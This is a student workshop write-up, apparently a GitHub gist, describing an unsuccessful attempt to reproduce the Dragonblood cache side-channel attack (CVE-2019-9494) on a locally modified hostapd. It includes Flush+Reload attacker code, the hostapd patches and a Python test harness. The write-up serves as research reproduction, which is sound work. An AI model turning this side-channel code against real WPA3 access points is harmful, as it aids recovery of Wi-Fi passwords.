Skip to content

Instantly share code, notes, and snippets.

@yoavst
Created May 30, 2020 16:13
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yoavst/430a912cf66d32829a92ceb53f1ef334 to your computer and use it in GitHub Desktop.
Save yoavst/430a912cf66d32829a92ceb53f1ef334 to your computer and use it in GitHub Desktop.
Implementing Dragonblood

Implementing Dragonblood CVE-2019-9494 - Review

Background

As part of the Advance Workshop in Implementation of Cryptographic Attacks, we were instructed to implement a cache side channel attack library. As a demonstration, we attempted to implement the exploit in CVE-2019-9494[0], using our Cache side channel attack library "Artik" [1].

While we were able to implement the procedure as specified in the paper[2], we were unable to recreate the results described there. In the following review, we are to go over our attempt.

Setup

Our first challenge was in the setup. We used KUbuntu 18.04 running from LiveCD. We did so as we couldn't use our computers or those on the Schreiber lab:

  • Running a VM using virtualbox on Yoav's PC or Idan's laptop had time synchronization issues. This renders any cache attack essentially useless.
  • We don't have root permission on the Schreiber lab. The hostapd modules requires many dependencies the computers in the lab lack. Without root, there is not way to install said dependencies.

The machine featured a 4-core Intel i7-4770 with 16GB RAM, which should be similar to the i7-7500 with 16GB RAM used in the paper.

We compiled hostapd as described here[3]. We modified its source code as follows. For more details see[4]:

  • We modified main to contain a call to sae_derive_pwe_ecc:
#define MY_CHOSEN_GROUP (19)
struct sae_data mocked_data;
mocked_data.group = MY_CHOSEN_GROUP;
sae_set_group(&mocked_data, MY_CHOSEN_GROUP);

u8 addr1[6] = {0,1,2,3,4,5};
u8 addr2[6] = {0,23,231,83,2,7};
u8 *password = argv[1]; // hello is 1, world! is 6


int result = sae_derive_pwe_ecc(&mocked_data, addr1, addr2, password, strlen(password), NULL);
return result;
  • We changed the beginning of sae_set_group method. It crash otherwise.
int sae_set_group(struct sae_data *sae, int group)
{
	struct sae_temporary_data *tmp;
	// CryptoWorkshop modification - It crash If we don't comment it out.
	// sae_clear_data(sae);
	tmp = sae->tmp = os_zalloc(sizeof(*tmp));
	if (tmp == NULL)
		return -1;
    ...
  • We've added both sae_derive_pwe_ecc and sae_test_pwd_seed_ecc to the sae.h header file

For our attack, we used our library's MemoryWrapper to map hostapd executable to our memory, and Flush+Reload primitives from Mastik to perform the attack. The basic attacker code is:

const char* path = ...;
const size_t nqr_branch_addr, clock_addr, THRESHOLD, SLEEP = ...;
MemoryWrapper mem(path);
size_t good_measurements = 0;
uint return_value = 0;
while (true)
{
    mem.Flush(nqr_branch_addr);
    mem.Flush(clock_addr);
    SLEEP_PRIMITIVE(SLEEP); // see later

    auto result_clock = mem.Measure(clock_addr);
    auto result_nqr = mem.Measure(nqr_branch_addr);

    if (result_nqr <= THRESHOLD || result_clock <= THRESHOLD) {
        // update return value as specified in the paper
        // ...
        good_measurements++;
        if (good_measurements == 2) {
            break;
        }
    }
}
return returnValue;

nqr_branch_addr and clock_addr were retrieved using objdump -Df -Mintel hostapd command and were validated using BinaryNinja.

We ran this script for 2000 times and produced a graph of the result, using the following python code:

import subprocess
import time
COUNT = 2000
tests = {'qr': ('Hello', True), 'nqr': ('Helloo', False)}
tests_results = {}

for test, (value, should_be_equal_one) in tests.items():
    print(test)
    results = {}
    for i in range(-1,16):
        results[i] = 0

    for i in range(COUNT):
        if i % 100 == 0:
            print("Reached:", i, results)
        try:
            attacker = subprocess.Popen(["build/bin/HostapdAttacker", "hostapd-atrik/hostapd/hostapd", "ADDR_NQR", "ADDR_CLOCK"], stdout=subprocess.DEVNULL)
            time.sleep(0.00001)
            hostapd = subprocess.Popen(["hostapd-atrik/hostapd/hostapd", value], stdout=subprocess.DEVNULL)

            assert (hostapd.wait() == 1) == should_be_equal_one
            res = attacker.wait(0.1)
            results[res] += 1
        except subprocess.TimeoutExpired as e:
            # Didn't stop
            attacker.kill()
            results[-1] += 1

    for i in range(-1,5):
        del results[i]
    
    tests_results[test] = results

print(tests_results)

Where we checked and find out that Hello produces a QR on the first loop iteration, while Helloo does not.

Test cases

We've attempted many different options:

  • We tried 2 different types of sleep: call to C++'s sleep method, and busy loop:
// option 1:
std::this_thread::sleep_for(std::chrono::nanoseconds(SLEEP))
// option 2:
for (size_t i = 0; i < SLEEP; i++) {
    // busy wait - confirmed to be in the final binary using BinaryNinja
}
  • We modified with the SLEEP parameter. The paper suggests 50,000 cycles. We ran it with the following values: 1000, 2500, 5000, 10000, 22000, 50000. As an important note, the first option get value in nanos while the other option get value in pseudo-cycles.
  • We modified with the THRESHOLD value. It seems to provide mostly the same results where on the range 130-170, and seems to don't return on values near 100.
  • We were trying to add NOPs slide on the attacked method.
  • We tried many addresses to attack since the paper was not specific

Results

We were unable to recreate the results from the paper. You can find our results in the folder Pictures. One folder is for using the CPP sleep method while the other is for the busy loop sleep. We were using 170 as threshold and we tried few sleep values.

By examaning the results, there is no significant difference between QR and NQR modes.

[0] https://nvd.nist.gov/vuln/detail/CVE-2019-9494
[1] https://github.com/idangerichter/CryptoWorkshop
[2] Mathy Vanhoef and Eyal Ronen. 2020. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In IEEE Symposium on Security & Privacy (SP). IEEE. https://eprint.iacr.org/2019/383
[3] https://github.com/idangerichter/CryptoWorkshop/blob/master/docs/Hostapd.md
[4] https://github.com/yoavst/hostapd-atrik/commit/92faf1451d22064686b44bfb9ca94f90deb46197

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment